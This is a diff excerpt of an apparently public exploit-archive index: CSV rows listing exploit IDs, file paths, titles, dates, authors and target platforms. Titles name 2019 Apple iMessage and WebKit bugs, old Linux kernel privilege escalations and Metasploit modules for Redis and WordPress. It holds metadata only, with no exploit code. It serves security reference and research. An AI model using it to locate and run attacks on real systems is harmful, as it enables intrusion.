47158,exploits/watchos/dos/47158.txt,"Apple iMessage - DigitalTouch tap Message Processing Out-of-Bounds Read",2019-07-24,"Google Security Research",dos,watchos, 47158,exploits/watchos/dos/47158.txt,"Apple iMessage - DigitalTouch tap Message Processing Out-of-Bounds Read",2019-07-24,"Google Security Research",dos,watchos,
47162,exploits/multiple/dos/47162.txt,"WebKit - Universal Cross-Site Scripting due to Synchronous Page Loads",2019-07-25,"Google Security Research",dos,multiple, 47162,exploits/multiple/dos/47162.txt,"WebKit - Universal Cross-Site Scripting due to Synchronous Page Loads",2019-07-25,"Google Security Research",dos,multiple,
47178,exploits/linux/dos/47178.txt,"pdfresurrect 0.15 - Buffer Overflow",2019-07-26,j0lama,dos,linux, 47178,exploits/linux/dos/47178.txt,"pdfresurrect 0.15 - Buffer Overflow",2019-07-26,j0lama,dos,linux,
47189,exploits/multiple/dos/47189.txt,"macOS / iOS NSKeyedUnarchiver - Use-After-Free of ObjC Objects when Unarchiving OITSUIntDictionary Instances",2019-07-30,"Google Security Research",dos,multiple,
47190,exploits/multiple/dos/47190.txt,"macOS / iOS JavaScriptCore - Loop-Invariant Code Motion (LICM) Leaves Object Property Access Unguarded",2019-07-30,"Google Security Research",dos,multiple,
47191,exploits/multiple/dos/47191.txt,"macOS / iOS JavaScriptCore - JSValue Use-After-Free in ValueProfiles",2019-07-30,"Google Security Research",dos,multiple,
47192,exploits/multiple/dos/47192.txt,"iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References",2019-07-30,"Google Security Research",dos,multiple,
47193,exploits/multiple/dos/47193.txt,"iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1",2019-07-30,"Google Security Research",dos,multiple,
47194,exploits/multiple/dos/47194.txt,"iMessage - NSKeyedUnarchiver Deserialization Allows file Backed NSData Objects",2019-07-30,"Google Security Research",dos,multiple,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -17583,7 +17589,8 @@ id,file,description,date,author,type,platform,port
47137,exploits/windows_x86/remote/47137.py,"MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow (EggHunter)",2019-07-19,sasaga92,remote,windows_x86, 47137,exploits/windows_x86/remote/47137.py,"MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow (EggHunter)",2019-07-19,sasaga92,remote,windows_x86,
47155,exploits/multiple/remote/47155.txt,"Trend Micro Deep Discovery Inspector IDS - Security Bypass",2019-07-24,hyp3rlinx,remote,multiple, 47155,exploits/multiple/remote/47155.txt,"Trend Micro Deep Discovery Inspector IDS - Security Bypass",2019-07-24,hyp3rlinx,remote,multiple,
47186,exploits/unix/remote/47186.rb,"Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass (Metasploit)",2019-07-29,Metasploit,remote,unix, 47186,exploits/unix/remote/47186.rb,"Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass (Metasploit)",2019-07-29,Metasploit,remote,unix,
47187,exploits/php/remote/47187.rb,"WP Database Backup < 5.2 - Remote Code Execution (Metasploit)",2019-07-29,Metasploit,remote,php,80 47187,exploits/php/remote/47187.rb,"WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metasploit)",2019-07-29,Metasploit,remote,php,80
47195,exploits/linux/remote/47195.rb,"Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)",2019-07-30,Metasploit,remote,linux,6379
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@ -41560,3 +41567,4 @@ id,file,description,date,author,type,platform,port
47182,exploits/php/webapps/47182.html,"WordPress Plugin Simple Membership 3.8.4 - Cross-Site Request Forgery",2019-07-29,rubyman,webapps,php,80 47182,exploits/php/webapps/47182.html,"WordPress Plugin Simple Membership 3.8.4 - Cross-Site Request Forgery",2019-07-29,rubyman,webapps,php,80
47184,exploits/php/webapps/47184.txt,"WordPress Theme Real Estate 2.8.9 - Cross-Site Scripting",2019-07-29,m0ze,webapps,php,80 47184,exploits/php/webapps/47184.txt,"WordPress Theme Real Estate 2.8.9 - Cross-Site Scripting",2019-07-29,m0ze,webapps,php,80
47185,exploits/php/webapps/47185.txt,"GigToDo 1.3 - Cross-Site Scripting",2019-07-29,m0ze,webapps,php,80 47185,exploits/php/webapps/47185.txt,"GigToDo 1.3 - Cross-Site Scripting",2019-07-29,m0ze,webapps,php,80
47188,exploits/hardware/webapps/47188.py,"Amcrest Cameras 2.520.AC00.18.R - Unauthenticated Audio Streaming",2019-07-30,"Jacob Baines",webapps,hardware,

Can't render this file because it is too large.